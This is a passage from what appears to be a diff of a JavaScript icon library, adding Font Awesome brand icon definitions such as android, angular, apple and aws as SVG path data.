107a3.48 3.48 0 0 1 1.7-3.3c13.7-9.5 28.8-14.5 45.6-13.2 14.9 1.1 27.1 8.4 33.5 25.9 3.9 10.7 4.9 21.8 4.9 33 0 10.4-.8 20.6-4 30.6-6.8 21.3-22.4 29.4-42.6 28.5-14-.6-26.2-6-37.4-13.9a3.57 3.57 0 0 1-1.7-3.3c.1-14.1 0-28.1 0-42.2s.1-28 0-42.1zm205.7-41.9c-1 .1-2 .3-2.9.4a148 148 0 0 0-28.9 4.1c-6.1 1.6-12 3.8-17.9 5.8-3.6 1.2-5.4 3.8-5.3 7.7.1 3.3-.1 6.6 0 9.9.1 4.8 2.1 6.1 6.8 4.9 7.8-2 15.6-4.2 23.5-5.7 12.3-2.3 24.7-3.3 37.2-1.4 6.5 1 12.6 2.9 16.8 8.4 3.7 4.8 5.1 10.5 5.3 16.4.3 8.3.2 16.6.3 24.9a7.84 7.84 0 0 1-.2 1.4c-.5-.1-.9 0-1.3-.1a180.56 180.56 0 0 0-32-4.9c-11.3-.6-22.5.1-33.3 3.9-12.9 4.5-23.3 12.3-29.4 24.9-4.7 9.8-5.4 20.2-3.9 30.7 2 14 9 24.8 21.4 31.7 11.9 6.6 24.8 7.4 37.9 5.4 15.1-2.3 28.5-8.7 40.3-18.4a7.36 7.36 0 0 1 1.6-1.1c.6 3.8 1.1 7.4 1.8 11 .6 3.1 2.5 5.1 5.4 5.2 5.4.1 10.9.1 16.3 0a4.84 4.84 0 0 0 4.8-4.7 26.2 26.2 0 0 0 .1-2.8v-106a80 80 0 0 0-.9-12.9c-1.9-12.9-7.4-23.5-19-30.4-6.7-4-14.1-6-21.8-7.1-3.6-.5-7.2-.8-10.8-1.3-3.9.1-7.9.1-11.9.1zm35 127.7a3.33 3.33 0 0 1-1.5 3c-11.2 8.1-23.5 13.5-37.4 14.9-5.7.6-11.4.4-16.8-1.8a20.08 20.08 0 0 1-12.4-13.3 32.9 32.9 0 0 1-.1-19.4c2.5-8.3 8.4-13 16.4-15.6a61.33 61.33 0 0 1 24.8-2.2c8.4.7 16.6 2.3 25 3.4 1.6.2 2.1 1 2.1 2.6-.1 4.8 0 9.5 0 14.3s-.2 9.4-.1 14.1zm259.9 129.4c-1-5-4.8-6.9-9.1-8.3a88.42 88.42 0 0 0-21-3.9 147.32 147.32 0 0 0-39.2 1.9c-14.3 2.7-27.9 7.3-40 15.6a13.75 13.75 0 0 0-3.7 3.5 5.11 5.11 0 0 0-.5 4c.4 1.5 2.1 1.9 3.6 1.8a16.2 16.2 0 0 0 2.2-.1c7.8-.8 15.5-1.7 23.3-2.5 11.4-1.1 22.9-1.8 34.3-.9a71.64 71.64 0 0 1 14.4 2.7c5.1 1.4 7.4 5.2 7.6 10.4.4 8-1.4 15.7-3.5 23.3-4.1 15.4-10 30.3-15.8 45.1a17.6 17.6 0 0 0-1 3c-.5 2.9 1.2 4.8 4.1 4.1a10.56 10.56 0 0 0 4.8-2.5 145.91 145.91 0 0 0 12.7-13.4c12.8-16.4 20.3-35.3 24.7-55.6.8-3.6 1.4-7.3 2.1-10.9v-17.3zM493.1 199q-19.35-53.55-38.7-107.2c-2-5.7-4.2-11.3-6.3-16.9-1.1-2.9-3.2-4.8-6.4-4.8-7.6-.1-15.2-.2-22.9-.1-2.5 0-3.7 2-3.2 4.5a43.1 43.1 0 0 0 1.9 6.1q29.4 72.75 59.1 145.5c1.7 4.1 2.1 7.6.2 11.8-3.3 7.3-5.9 15-9.3 22.3-3 6.5-8 11.4-15.2 13.3a42.13 42.13 0 0 1-15.4 1.1c-2.5-.2-5-.8-7.5-1-3.4-.2-5.1 1.3-5.2 4.8q-.15 5 0 9.9c.1 5.5 2 8 7.4 8.9a108.18 108.18 0 0 0 16.9 2c17.1.4 30.7-6.5 39.5-21.4a131.63 131.63 0 0 0 9.2-18.4q35.55-89.7 70.6-179.6a26.62 26.62 0 0 0 1.6-5.5c.4-2.8-.9-4.4-3.7-4.4-6.6-.1-13.3 0-19.9 0a7.54 7.54 0 0 0-7.7 5.2c-.5 1.4-1.1 2.7-1.6 4.1l-34.8 100c-2.5 7.2-5.1 14.5-7.7 22.2-.4-1.1-.6-1.7-.9-2.4z" ], + amilia: [ 448, 512, [], "f36d", "M240.1 32c-61.9 0-131.5 16.9-184.2 55.4-5.1 3.1-9.1 9.2-7.2 19.4 1.1 5.1 5.1 27.4 10.2 39.6 4.1 10.2 14.2 10.2 20.3 6.1 32.5-22.3 96.5-47.7 152.3-47.7 57.9 0 58.9 28.4 58.9 73.1v38.5C203 227.7 78.2 251 46.7 264.2 11.2 280.5 16.3 357.7 16.3 376s15.2 104 124.9 104c47.8 0 113.7-20.7 153.3-42.1v25.4c0 3 2.1 8.2 6.1 9.1 3.1 1 50.7 2 59.9 2s62.5.3 66.5-.7c4.1-1 5.1-6.1 5.1-9.1V168c-.1-80.3-57.9-136-192-136zm50.2 348c-21.4 13.2-48.7 24.4-79.1 24.4-52.8 0-58.9-33.5-59-44.7 0-12.2-3-42.7 18.3-52.9 24.3-13.2 75.1-29.4 119.8-33.5z" ], + android: [ 576, 512, [], "f17b", "M420.55,301.93a24,24,0,1,1,24-24,24,24,0,0,1-24,24m-265.1,0a24,24,0,1,1,24-24,24,24,0,0,1-24,24m273.7-144.48,47.94-83a10,10,0,1,0-17.27-10h0l-48.54,84.07a301.25,301.25,0,0,0-246.56,0L116.18,64.45a10,10,0,1,0-17.27,10h0l47.94,83C64.53,202.22,8.24,285.55,0,384H576c-8.24-98.45-64.54-181.78-146.85-226.55" ], + angellist: [ 448, 512, [], "f209", "M347.1 215.4c11.7-32.6 45.4-126.9 45.4-157.1 0-26.6-15.7-48.9-43.7-48.9-44.6 0-84.6 131.7-97.1 163.1C242 144 196.6 0 156.6 0c-31.1 0-45.7 22.9-45.7 51.7 0 35.3 34.2 126.8 46.6 162-6.3-2.3-13.1-4.3-20-4.3-23.4 0-48.3 29.1-48.3 52.6 0 8.9 4.9 21.4 8 29.7-36.9 10-51.1 34.6-51.1 71.7C46 435.6 114.4 512 210.6 512c118 0 191.4-88.6 191.4-202.9 0-43.1-6.9-82-54.9-93.7zM311.7 108c4-12.3 21.1-64.3 37.1-64.3 8.6 0 10.9 8.9 10.9 16 0 19.1-38.6 124.6-47.1 148l-34-6 33.1-93.7zM142.3 48.3c0-11.9 14.5-45.7 46.3 47.1l34.6 100.3c-15.6-1.3-27.7-3-35.4 1.4-10.9-28.8-45.5-119.7-45.5-148.8zM140 244c29.3 0 67.1 94.6 67.1 107.4 0 5.1-4.9 11.4-10.6 11.4-20.9 0-76.9-76.9-76.9-97.7.1-7.7 12.7-21.1 20.4-21.1zm184.3 186.3c-29.1 32-66.3 48.6-109.7 48.6-59.4 0-106.3-32.6-128.9-88.3-17.1-43.4 3.8-68.3 20.6-68.3 11.4 0 54.3 60.3 54.3 73.1 0 4.9-7.7 8.3-11.7 8.3-16.1 0-22.4-15.5-51.1-51.4-29.7 29.7 20.5 86.9 58.3 86.9 26.1 0 43.1-24.2 38-42 3.7 0 8.3.3 11.7-.6 1.1 27.1 9.1 59.4 41.7 61.7 0-.9 2-7.1 2-7.4 0-17.4-10.6-32.6-10.6-50.3 0-28.3 21.7-55.7 43.7-71.7 8-6 17.7-9.7 27.1-13.1 9.7-3.7 20-8 27.4-15.4-1.1-11.2-5.7-21.1-16.9-21.1-27.7 0-120.6 4-120.6-39.7 0-6.7.1-13.1 17.4-13.1 32.3 0 114.3 8 138.3 29.1 18.1 16.1 24.3 113.2-31 174.7zm-98.6-126c9.7 3.1 19.7 4 29.7 6-7.4 5.4-14 12-20.3 19.1-2.8-8.5-6.2-16.8-9.4-25.1z" ], + angrycreative: [ 640, 512, [], "f36e", "M640 238.2l-3.2 28.2-34.5 2.3-2 18.1 34.5-2.3-3.2 28.2-34.4 2.2-2.3 20.1 34.4-2.2-3 26.1-64.7 4.1 12.7-113.2L527 365.2l-31.9 2-23.8-117.8 30.3-2 13.6 79.4 31.7-82.4 93.1-6.2zM426.8 371.5l28.3-1.8L468 249.6l-28.4 1.9-12.8 120zM162 388.1l-19.4-36-3.5 37.4-28.2 1.7 2.7-29.1c-11 18-32 34.3-56.9 35.8C23.9 399.9-3 377 .3 339.7c2.6-29.3 26.7-62.8 67.5-65.4 37.7-2.4 47.6 23.2 51.3 28.8l2.8-30.8 38.9-2.5c20.1-1.3 38.7 3.7 42.5 23.7l2.6-26.6 64.8-4.2-2.7 27.9-36.4 2.4-1.7 17.9 36.4-2.3-2.7 27.9-36.4 2.3-1.9 19.9 36.3-2.3-2.1 20.8 55-117.2 23.8-1.6L370.4 369l8.9-85.6-22.3 1.4 2.9-27.9 75-4.9-3 28-24.3 1.6-9.7 91.9-58 3.7-4.3-15.6-39.4 2.5-8 16.3-126.2 7.7zm-44.3-70.2l-26.4 1.7C84.6 307.2 76.9 303 65 303.8c-19 1.2-33.3 17.5-34.6 33.3-1.4 16 7.3 32.5 28.7 31.2 12.8-.8 21.3-8.6 28.9-18.9l27-1.7 2.7-29.8zm56.1-7.7c1.2-12.9-7.6-13.6-26.1-12.4l-2.7 28.5c14.2-.9 27.5-2.1 28.8-16.1zm21.1 70.8l5.8-60c-5 13.5-14.7 21.1-27.9 26.6l22.1 33.4zm135.4-45l-7.9-37.8-15.8 39.3 23.7-1.5zm-170.1-74.6l-4.3-17.5-39.6 2.6-8.1 18.2-31.9 2.1 57-121.9 23.9-1.6 30.7 102 9.9-104.7 27-1.8 37.8 63.6 6.5-66.6 28.5-1.9-4 41.2c7.4-13.5 22.9-44.7 63.6-47.5 40.5-2.8 52.4 29.3 53.4 30.3l3.3-32 39.3-2.7c12.7-.9 27.8.3 36.3 9.7l-4.4-11.9 32.2-2.2 12.9 43.2 23-45.7 31-2.2-43.6 78.4-4.8 44.3-28.4 1.9 4.8-44.3-15.8-43c1 22.3-9.2 40.1-32 49.6l25.2 38.8-36.4 2.4-19.2-36.8-4 38.3-28.4 1.9 3.3-31.5c-6.7 9.3-19.7 35.4-59.6 38-26.2 1.7-45.6-10.3-55.4-39.2l-4 40.3-25 1.6-37.6-63.3-6.3 66.2-56.8 3.7zm276.6-82.1c10.2-.7 17.5-2.1 21.6-4.3 4.5-2.4 7-6.4 7.6-12.1.6-5.3-.6-8.8-3.4-10.4-3.6-2.1-10.6-2.8-22.9-2l-2.9 28.8zM327.7 214c5.6 5.9 12.7 8.5 21.3 7.9 4.7-.3 9.1-1.8 13.3-4.1 5.5-3 10.6-8 15.1-14.3l-34.2 2.3 2.4-23.9 63.1-4.3 1.2-12-31.2 2.1c-4.1-3.7-7.8-6.6-11.1-8.1-4-1.7-8.1-2.8-12.2-2.5-8 .5-15.3 3.6-22 9.2-7.7 6.4-12 14.5-12.9 24.4-1.1 9.6 1.4 17.3 7.2 23.3zm-201.3 8.2l23.8-1.6-8.3-37.6-15.5 39.2z" ], + angular: [ 448, 512, [], "f420", "M185.7 268.1h76.2l-38.1-91.6-38.1 91.6zM223.8 32L16 106.4l31.8 275.7 176 97.9 176-97.9 31.8-275.7zM354 373.8h-48.6l-26.2-65.4H168.6l-26.2 65.4H93.7L223.8 81.5z" ], + "app-store": [ 512, 512, [], "f36f", "M255.9 120.9l9.1-15.7c5.6-9.8 18.1-13.1 27.9-7.5 9.8 5.6 13.1 18.1 7.5 27.9l-87.5 151.5h63.3c20.5 0 32 24.1 23.1 40.8H113.8c-11.3 0-20.4-9.1-20.4-20.4 0-11.3 9.1-20.4 20.4-20.4h52l66.6-115.4-20.8-36.1c-5.6-9.8-2.3-22.2 7.5-27.9 9.8-5.6 22.2-2.3 27.9 7.5l8.9 15.7zm-78.7 218l-19.6 34c-5.6 9.8-18.1 13.1-27.9 7.5-9.8-5.6-13.1-18.1-7.5-27.9l14.6-25.2c16.4-5.1 29.8-1.2 40.4 11.6zm168.9-61.7h53.1c11.3 0 20.4 9.1 20.4 20.4 0 11.3-9.1 20.4-20.4 20.4h-29.5l19.9 34.5c5.6 9.8 2.3 22.2-7.5 27.9-9.8 5.6-22.2 2.3-27.9-7.5-33.5-58.1-58.7-101.6-75.4-130.6-17.1-29.5-4.9-59.1 7.2-69.1 13.4 23 33.4 57.7 60.1 104zM256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm216 248c0 118.7-96.1 216-216 216-118.7 0-216-96.1-216-216 0-118.7 96.1-216 216-216 118.7 0 216 96.1 216 216z" ], + "app-store-ios": [ 448, 512, [], "f370", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM127 384.5c-5.5 9.6-17.8 12.8-27.3 7.3-9.6-5.5-12.8-17.8-7.3-27.3l14.3-24.7c16.1-4.9 29.3-1.1 39.6 11.4L127 384.5zm138.9-53.9H84c-11 0-20-9-20-20s9-20 20-20h51l65.4-113.2-20.5-35.4c-5.5-9.6-2.2-21.8 7.3-27.3 9.6-5.5 21.8-2.2 27.3 7.3l8.9 15.4 8.9-15.4c5.5-9.6 17.8-12.8 27.3-7.3 9.6 5.5 12.8 17.8 7.3 27.3l-85.8 148.6h62.1c20.2 0 31.5 23.7 22.7 40zm98.1 0h-29l19.6 33.9c5.5 9.6 2.2 21.8-7.3 27.3-9.6 5.5-21.8 2.2-27.3-7.3-32.9-56.9-57.5-99.7-74-128.1-16.7-29-4.8-58 7.1-67.8 13.1 22.7 32.7 56.7 58.9 102h52c11 0 20 9 20 20 0 11.1-9 20-20 20z" ], + apper: [ 640, 512, [], "f371", "M42.1 239.1c22.2 0 29 2.8 33.5 14.6h.8v-22.9c0-11.3-4.8-15.4-17.9-15.4-11.3 0-14.4 2.5-15.1 12.8H4.8c.3-13.9 1.5-19.1 5.8-24.4C17.9 195 29.5 192 56.7 192c33 0 47.1 5 53.9 18.9 2 4.3 4 15.6 4 23.7v76.3H76.3l1.3-19.1h-1c-5.3 15.6-13.6 20.4-35.5 20.4-30.3 0-41.1-10.1-41.1-37.3 0-25.2 12.3-35.8 42.1-35.8zm17.1 48.1c13.1 0 16.9-3 16.9-13.4 0-9.1-4.3-11.6-19.6-11.6-13.1 0-17.9 3-17.9 12.1-.1 10.4 3.7 12.9 20.6 12.9zm77.8-94.9h38.3l-1.5 20.6h.8c9.1-17.1 15.9-20.9 37.5-20.9 14.4 0 24.7 3 31.5 9.1 9.8 8.6 12.8 20.4 12.8 48.1 0 30-3 43.1-12.1 52.9-6.8 7.3-16.4 10.1-33.2 10.1-20.4 0-29.2-5.5-33.8-21.2h-.8v70.3H137v-169zm80.9 60.7c0-27.5-3.3-32.5-20.7-32.5-16.9 0-20.7 5-20.7 28.7 0 28 3.5 33.5 21.2 33.5 16.4 0 20.2-5.6 20.2-29.7zm57.9-60.7h38.3l-1.5 20.6h.8c9.1-17.1 15.9-20.9 37.5-20.9 14.4 0 24.7 3 31.5 9.1 9.8 8.6 12.8 20.4 12.8 48.1 0 30-3 43.1-12.1 52.9-6.8 7.3-16.4 10.1-33.3 10.1-20.4 0-29.2-5.5-33.8-21.2h-.8v70.3h-39.5v-169zm80.9 60.7c0-27.5-3.3-32.5-20.7-32.5-16.9 0-20.7 5-20.7 28.7 0 28 3.5 33.5 21.2 33.5 16.4 0 20.2-5.6 20.2-29.7zm53.8-3.8c0-25.4 3.3-37.8 12.3-45.8 8.8-8.1 22.2-11.3 45.1-11.3 42.8 0 55.7 12.8 55.7 55.7v11.1h-75.3c-.3 2-.3 4-.3 4.8 0 16.9 4.5 21.9 20.1 21.9 13.9 0 17.9-3 17.9-13.9h37.5v2.3c0 9.8-2.5 18.9-6.8 24.7-7.3 9.8-19.6 13.6-44.3 13.6-27.5 0-41.6-3.3-50.6-12.3-8.5-8.5-11.3-21.3-11.3-50.8zm76.4-11.6c-.3-1.8-.3-3.3-.3-3.8 0-12.3-3.3-14.6-19.6-14.6-14.4 0-17.1 3-18.1 15.1l-.3 3.3h38.3zm55.6-45.3h38.3l-1.8 19.9h.7c6.8-14.9 14.4-20.2 29.7-20.2 10.8 0 19.1 3.3 23.4 9.3 5.3 7.3 6.8 14.4 6.8 34 0 1.5 0 5 .2 9.3h-35c.3-1.8.3-3.3.3-4 0-15.4-2-19.4-10.3-19.4-6.3 0-10.8 3.3-13.1 9.3-1 3-1 4.3-1 12.3v68h-38.3V192.3z" ], + apple: [ 384, 512, [], "f179", "M318.7 268.7c-.2-36.7 16.4-64.4 50-84.8-18.8-26.9-47.2-41.7-84.7-44.6-35.5-2.8-74.3 20.7-88.5 20.7-15 0-49.4-19.7-76.4-19.7C63.3 141.2 4 184.8 4 273.5q0 39.3 14.4 81.2c12.8 36.7 59 126.7 107.2 125.2 25.2-.6 43-17.9 75.8-17.9 31.8 0 48.3 17.9 76.4 17.9 48.6-.7 90.4-82.5 102.6-119.3-65.2-30.7-61.7-90-61.7-91.9zm-56.6-164.2c27.3-32.4 24.8-61.9 24-72.5-24.1 1.4-52 16.4-67.9 34.9-17.5 19.8-27.8 44.3-25.6 71.9 26.1 2 49.9-11.4 69.5-34.3z" ], + "apple-pay": [ 640, 512, [], "f415", "M116.9 158.5c-7.5 8.9-19.5 15.9-31.5 14.9-1.5-12 4.4-24.8 11.3-32.6 7.5-9.1 20.6-15.6 31.3-16.1 1.2 12.4-3.7 24.7-11.1 33.8m10.9 17.2c-17.4-1-32.3 9.9-40.5 9.9-8.4 0-21-9.4-34.8-9.1-17.9.3-34.5 10.4-43.6 26.5-18.8 32.3-4.9 80 13.3 106.3 8.9 13 19.5 27.3 33.5 26.8 13.3-.5 18.5-8.6 34.5-8.6 16.1 0 20.8 8.6 34.8 8.4 14.5-.3 23.6-13 32.5-26 10.1-14.8 14.3-29.1 14.5-29.9-.3-.3-28-10.9-28.3-42.9-.3-26.8 21.9-39.5 22.9-40.3-12.5-18.6-32-20.6-38.8-21.1m100.4-36.2v194.9h30.3v-66.6h41.9c38.3 0 65.1-26.3 65.1-64.3s-26.4-64-64.1-64h-73.2zm30.3 25.5h34.9c26.3 0 41.3 14 41.3 38.6s-15 38.8-41.4 38.8h-34.8V165zm162.2 170.9c19 0 36.6-9.6 44.6-24.9h.6v23.4h28v-97c0-28.1-22.5-46.3-57.1-46.3-32.1 0-55.9 18.4-56.8 43.6h27.3c2.3-12 13.4-19.9 28.6-19.9 18.5 0 28.9 8.6 28.9 24.5v10.8l-37.8 2.3c-35.1 2.1-54.1 16.5-54.1 41.5.1 25.2 19.7 42 47.8 42zm8.2-23.1c-16.1 0-26.4-7.8-26.4-19.6 0-12.3 9.9-19.4 28.8-20.5l33.6-2.1v11c0 18.2-15.5 31.2-36 31.2zm102.5 74.6c29.5 0 43.4-11.3 55.5-45.4L640 193h-30.8l-35.6 115.1h-.6L537.4 193h-31.6L557 334.9l-2.8 8.6c-4.6 14.6-12.1 20.3-25.5 20.3-2.4 0-7-.3-8.9-.5v23.4c1.8.4 9.3.7 11.6.7z" ], + artstation: [ 512, 512, [], "f77a", "M2 377.4l43 74.3A51.35 51.35 0 0 0 90.9 480h285.4l-59.2-102.6zM501.8 350L335.6 59.3A51.38 51.38 0 0 0 290.2 32h-88.4l257.3 447.6 40.7-70.5c1.9-3.2 21-29.7 2-59.1zM275 304.5l-115.5-200L44 304.5z" ], + asymmetrik: [ 576, 512, [], "f372", "M517.5 309.2c38.8-40 58.1-80 58.5-116.1.8-65.5-59.4-118.2-169.4-135C277.9 38.4 118.1 73.6 0 140.5 52 114 110.6 92.3 170.7 82.3c74.5-20.5 153-25.4 221.3-14.8C544.5 91.3 588.8 195 490.8 299.2c-10.2 10.8-22 21.1-35 30.6L304.9 103.4 114.7 388.9c-65.6-29.4-76.5-90.2-19.1-151.2 20.8-22.2 48.3-41.9 79.5-58.1 20-12.2 39.7-22.6 62-30.7-65.1 20.3-122.7 52.9-161.6 92.9-27.7 28.6-41.4 57.1-41.7 82.9-.5 35.1 23.4 65.1 68.4 83l-34.5 51.7h101.6l22-34.4c22.2 1 45.3 0 68.6-2.7l-22.8 37.1h135.5L340 406.3c18.6-5.3 36.9-11.5 54.5-18.7l45.9 71.8H542L468.6 349c18.5-12.1 35-25.5 48.9-39.8zm-187.6 80.5l-25-40.6-32.7 53.3c-23.4 3.5-46.7 5.1-69.2 4.4l101.9-159.3 78.7 123c-17.2 7.4-35.3 13.9-53.7 19.2z" ], + atlassian: [ 512, 512, [], "f77b", "M152.2 236.4c-7.7-8.2-19.7-7.7-24.8 2.8L1.6 490.2c-5 10 2.4 21.7 13.4 21.7h175c5.8.1 11-3.2 13.4-8.4 37.9-77.8 15.1-196.3-51.2-267.1zM244.4 8.1c-122.3 193.4-8.5 348.6 65 495.5 2.5 5.1 7.7 8.4 13.4 8.4H497c11.2 0 18.4-11.8 13.4-21.7 0 0-234.5-470.6-240.4-482.3-5.3-10.6-18.8-10.8-25.6.1z" ], + audible: [ 640, 512, [], "f373", "M640 199.9v54l-320 200L0 254v-54l320 200 320-200.1zm-194.5 72l47.1-29.4c-37.2-55.8-100.7-92.6-172.7-92.6-72 0-135.5 36.7-172.6 92.4h.3c2.5-2.3 5.1-4.5 7.7-6.7 89.7-74.4 219.4-58.1 290.2 36.3zm-220.1 18.8c16.9-11.9 36.5-18.7 57.4-18.7 34.4 0 65.2 18.4 86.4 47.6l45.4-28.4c-20.9-29.9-55.6-49.5-94.8-49.5-38.9 0-73.4 19.4-94.4 49zM103.6 161.1c131.8-104.3 318.2-76.4 417.5 62.1l.7 1 48.8-30.4C517.1 112.1 424.8 58.1 319.9 58.1c-103.5 0-196.6 53.5-250.5 135.6 9.9-10.5 22.7-23.5 34.2-32.6zm467 32.7z" ], + autoprefixer: [ 640, 512, [], "f41c", "M318.4 16l-161 480h77.5l25.4-81.4h119.5L405 496h77.5L318.4 16zm-40.3 341.9l41.2-130.4h1.5l40.9 130.4h-83.6zM640 405l-10-31.4L462.1 358l19.4 56.5L640 405zm-462.1-47L10 373.7 0 405l158.5 9.4 19.4-56.4z" ], + avianex: [ 512, 512, [], "f374", "M453.1 32h-312c-38.9 0-76.2 31.2-83.3 69.7L1.2 410.3C-5.9 448.8 19.9 480 58.9 480h312c38.9 0 76.2-31.2 83.3-69.7l56.7-308.5c7-38.6-18.8-69.8-57.8-69.8zm-58.2 347.3l-32 13.5-115.4-110c-14.7 10-29.2 19.5-41.7 27.1l22.1 64.2-17.9 12.7-40.6-61-52.4-48.1 15.7-15.4 58 31.1c9.3-10.5 20.8-22.6 32.8-34.9L203 228.9l-68.8-99.8 18.8-28.9 8.9-4.8L265 207.8l4.9 4.5c19.4-18.8 33.8-32.4 33.8-32.4 7.7-6.5 21.5-2.9 30.7 7.9 9 10.5 10.6 24.7 2.7 31.3-1.8 1.3-15.5 11.4-35.3 25.6l4.5 7.3 94.9 119.4-6.3 7.9z" ], + aviato: [ 640, 512, [], "f421", "M107.2 283.5l-19-41.8H36.1l-19 41.8H0l62.2-131.4 62.2 131.4h-17.2zm-45-98.1l-19.6 42.5h39.2l-19.6-42.5zm112.7 102.4l-62.2-131.4h17.1l45.1 96 45.1-96h17l-62.1 131.4zm80.6-4.3V156.4H271v127.1h-15.5zm209.1-115.6v115.6h-17.3V167.9h-41.2v-11.5h99.6v11.5h-41.1zM640 218.8c0 9.2-1.7 17.8-5.1 25.8-3.4 8-8.2 15.1-14.2 21.1-6 6-13.1 10.8-21.1 14.2-8 3.4-16.6 5.1-25.8 5.1s-17.8-1.7-25.8-5.1c-8-3.4-15.1-8.2-21.1-14.2-6-6-10.8-13-14.2-21.1-3.4-8-5.1-16.6-5.1-25.8s1.7-17.8 5.1-25.8c3.4-8 8.2-15.1 14.2-21.1 6-6 13-8.4 21.1-11.9 8-3.4 16.6-5.1 25.8-5.1s17.8 1.7 25.8 5.1c8 3.4 15.1 5.8 21.1 11.9 6 6 10.7 13.1 14.2 21.1 3.4 8 5.1 16.6 5.1 25.8zm-15.5 0c0-7.3-1.3-14-3.9-20.3-2.6-6.3-6.2-11.7-10.8-16.3-4.6-4.6-10-8.2-16.2-10.9-6.2-2.7-12.8-4-19.8-4s-13.6 1.3-19.8 4c-6.2 2.7-11.6 6.3-16.2 10.9-4.6 4.6-8.2 10-10.8 16.3-2.6 6.3-3.9 13.1-3.9 20.3 0 7.3 1.3 14 3.9 20.3 2.6 6.3 6.2 11.7 10.8 16.3 4.6 4.6 10 8.2 16.2 10.9 6.2 2.7 12.8 4 19.8 4s13.6-1.3 19.8-4c6.2-2.7 11.6-6.3 16.2-10.9 4.6-4.6 8.2-10 10.8-16.3 2.6-6.3 3.9-13.1 3.9-20.3zm-94.8 96.7v-6.3l88.9-10-242.9 13.4c.6-2.2 1.1-4.6 1.4-7.2.3-2 .5-4.2.6-6.5l64.8-8.1-64.9 1.9c0-.4-.1-.7-.1-1.1-2.8-17.2-25.5-23.7-25.5-23.7l-1.1-26.3h23.8l19 41.8h17.1L348.6 152l-62.2 131.4h17.1l19-41.8h23.6L345 268s-22.7 6.5-25.5 23.7c-.1.3-.1.7-.1 1.1l-64.9-1.9 64.8 8.1c.1 2.3.3 4.4.6 6.5.3 2.6.8 5 1.4 7.2L78.4 299.2l88.9 10v6.3c-5.9.9-10.5 6-10.5 12.2 0 6.8 5.6 12.4 12.4 12.4 6.8 0 12.4-5.6 12.4-12.4 0-6.2-4.6-11.3-10.5-12.2v-5.8l80.3 9v5.4c-5.7 1.1-9.9 6.2-9.9 12.1 0 6.8 5.6 10.2 12.4 10.2 6.8 0 12.4-3.4 12.4-10.2 0-6-4.3-11-9.9-12.1v-4.9l28.4 3.2v23.7h-5.9V360h5.9v-6.6h5v6.6h5.9v-13.8h-5.9V323l38.3 4.3c8.1 11.4 19 13.6 19 13.6l-.1 6.7-5.1.2-.1 12.1h4.1l.1-5h5.2l.1 5h4.1l-.1-12.1-5.1-.2-.1-6.7s10.9-2.1 19-13.6l38.3-4.3v23.2h-5.9V360h5.9v-6.6h5v6.6h5.9v-13.8h-5.9v-23.7l28.4-3.2v4.9c-5.7 1.1-9.9 6.2-9.9 12.1 0 6.8 5.6 10.2 12.4 10.2 6.8 0 12.4-3.4 12.4-10.2 0-6-4.3-11-9.9-12.1v-5.4l80.3-9v5.8c-5.9.9-10.5 6-10.5 12.2 0 6.8 5.6 12.4 12.4 12.4 6.8 0 12.4-5.6 12.4-12.4-.2-6.3-4.7-11.4-10.7-12.3zm-200.8-87.6l19.6-42.5 19.6 42.5h-17.9l-1.7-40.3-1.7 40.3h-17.9z" ], + aws: [ 640, 512, [], "f375", "M180.41 203.01c-.72 22.65 10.6 32.68 10.88 39.05a8.164 8.164 0 0 1-4.1 6.27l-12.8 8.96a10.66 10.66 0 0 1-5.63 1.92c-.43-.02-8.19 1.83-20.48-25.61a78.608 78.608 0 0 1-62.61 29.45c-16.28.89-60.4-9.24-58.13-56.21-1.59-38.28 34.06-62.06 70.93-60.05 7.1.02 21.6.37 46.99 6.27v-15.62c2.69-26.46-14.7-46.99-44.81-43.91-2.4.01-19.4-.5-45.84 10.11-7.36 3.38-8.3 2.82-10.75 2.82-7.41 0-4.36-21.48-2.94-24.2 5.21-6.4 35.86-18.35 65.94-18.18a76.857 76.857 0 0 1 55.69 17.28 70.285 70.285 0 0 1 17.67 52.36l-.01 69.29zM93.99 235.4c32.43-.47 46.16-19.97 49.29-30.47 2.46-10.05 2.05-16.41 2.05-27.4-9.67-2.32-23.59-4.85-39.56-4.87-15.15-1.14-42.82 5.63-41.74 32.26-1.24 16.79 11.12 31.4 29.96 30.48zm170.92 23.05c-7.86.72-11.52-4.86-12.68-10.37l-49.8-164.65c-.97-2.78-1.61-5.65-1.92-8.58a4.61 4.61 0 0 1 3.86-5.25c.24-.04-2.13 0 22.25 0 8.78-.88 11.64 6.03 12.55 10.37l35.72 140.83 33.16-140.83c.53-3.22 2.94-11.07 12.8-10.24h17.16c2.17-.18 11.11-.5 12.68 10.37l33.42 142.63L420.98 80.1c.48-2.18 2.72-11.37 12.68-10.37h19.72c.85-.13 6.15-.81 5.25 8.58-.43 1.85 3.41-10.66-52.75 169.9-1.15 5.51-4.82 11.09-12.68 10.37h-18.69c-10.94 1.15-12.51-9.66-12.68-10.75L328.67 110.7l-32.78 136.99c-.16 1.09-1.73 11.9-12.68 10.75h-18.3zm273.48 5.63c-5.88.01-33.92-.3-57.36-12.29a12.802 12.802 0 0 1-7.81-11.91v-10.75c0-8.45 6.2-6.9 8.83-5.89 10.04 4.06 16.48 7.14 28.81 9.6 36.65 7.53 52.77-2.3 56.72-4.48 13.15-7.81 14.19-25.68 5.25-34.95-10.48-8.79-15.48-9.12-53.13-21-4.64-1.29-43.7-13.61-43.79-52.36-.61-28.24 25.05-56.18 69.52-55.95 12.67-.01 46.43 4.13 55.57 15.62 1.35 2.09 2.02 4.55 1.92 7.04v10.11c0 4.44-1.62 6.66-4.87 6.66-7.71-.86-21.39-11.17-49.16-10.75-6.89-.36-39.89.91-38.41 24.97-.43 18.96 26.61 26.07 29.7 26.89 36.46 10.97 48.65 12.79 63.12 29.58 17.14 22.25 7.9 48.3 4.35 55.44-19.08 37.49-68.42 34.44-69.26 34.42zm40.2 104.86c-70.03 51.72-171.69 79.25-258.49 79.25A469.127 469.127 0 0 1 2.83 327.46c-6.53-5.89-.77-13.96 7.17-9.47a637.37 637.37 0 0 0 316.88 84.12 630.22 630.22 0 0 0 241.59-49.55c11.78-5 21.77 7.8 10.12 16.38zm29.19-33.29c-8.96-11.52-59.28-5.38-81.81-2.69-6.79.77-7.94-5.12-1.79-9.47 40.07-28.17 105.88-20.1 113.44-10.63 7.55 9.47-2.05 75.41-39.56 106.91-5.76 4.87-11.27 2.3-8.71-4.1 8.44-21.25 27.39-68.49 18.43-80.02z" ], + bandcamp: [ 512, 512, [], "f2d5", 